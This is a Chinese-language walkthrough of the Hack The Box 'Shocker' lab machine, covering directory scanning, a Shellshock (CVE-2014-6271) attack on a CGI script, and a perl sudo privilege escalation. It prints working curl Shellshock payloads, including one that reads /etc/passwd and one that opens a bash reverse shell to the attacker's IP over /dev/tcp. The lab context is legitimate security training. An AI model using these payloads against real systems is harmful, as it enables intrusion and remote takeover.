【HTB】Linux-Shocker靶机渗透
该靶机主要利用目录扫描如dirsearch,Gobuster,dirb等扫描得到隐藏user.sh脚本,然后利用shellshock漏洞反弹shell,最后发现该用户没有密码,sudo -l查看,利用二进制文件perl提权
靶机介绍
技能要求
- Linux基础知识
- 枚举端口和服务
学到的东西
- 利用 shellshock
- 利用 NOPASSWD
目录标题
- 一、信息收集
- 目录扫描
- 二、边界突破
- Bash 破壳漏洞Shellshock (CVE-2014-6271)
- 三、权限提升
- user.txt
- root.txt
- 四、总结
- 知识点
- 任务
一、信息收集
靶机ip:10.10.10.56
攻击机ip:10.10.16.26
nmap扫描,开启了80和2222端口
curl下载下来看看
设置域名解析先
目录扫描
disearch没扫描特别重要的目录,有一个**/cgi-bin/目录**
对/cgi-bin/执行扫描
gobuster dir -u http://shocker.htb/cgi-bin/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 -x php,sh,py
直接扫描出来一个sh文件
看一眼提示
二、边界突破
访问80端口
下载此图片
利用工具查看,均未发现泄露信息
访问扫描出来的/cgi-bin/目录,/user.sh,貌似也没有什么信息
该回显和linux下的uptime命令很相识
重新访问一下,可以看到时间发生了变化,说明每一次访问都会自动调用该sh脚本
Bash 破壳漏洞Shellshock (CVE-2014-6271)
参考网站:https://www.sevenlayers.com/index.php/125-exploiting-shellshock
先尝试下面的代码
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.10.10.56/cgi-bin/user.sh
成功利用,并且发现一个有bash的用户
利用反弹shell
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.16.26/4444 0>&1' http://10.10.10.56/cgi-bin/user.sh
攻击机开启监听执行命令,反弹成功
三、权限提升
user.txt
这里根据以往user.txt的存放位置,可以直接利用命令查看,shelly是上面查看密码得到的用户
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /home/shelly/user.txt' bash -s :'' http://10.10.10.56/cgi-bin/user.sh
扫描成功
那么在靶机里查看一下把,查找成功
root.txt
查看suid
这里很奇怪,执行sudo -l无需输入密码,可能该用户就没有设置密码,总之发现一处root权限的脚本
这里直接执行之后不会有回显,看来是错误的
由于是一个二进制文件,去ctfobins上搜一下,利用此脚本
提权成功
切换交互模式查看
结束
四、总结
知识点
- Gobuster目录扫描:相比较dirsearch速度更快,可选性高
- Bash 破壳漏洞Shellshock (CVE-2014-6271):利用到uptime相似脚本user.sh
- 无密码的perl二进制文件提权:ctfobins下可以查看suid使用方法
任务
1-4
5-8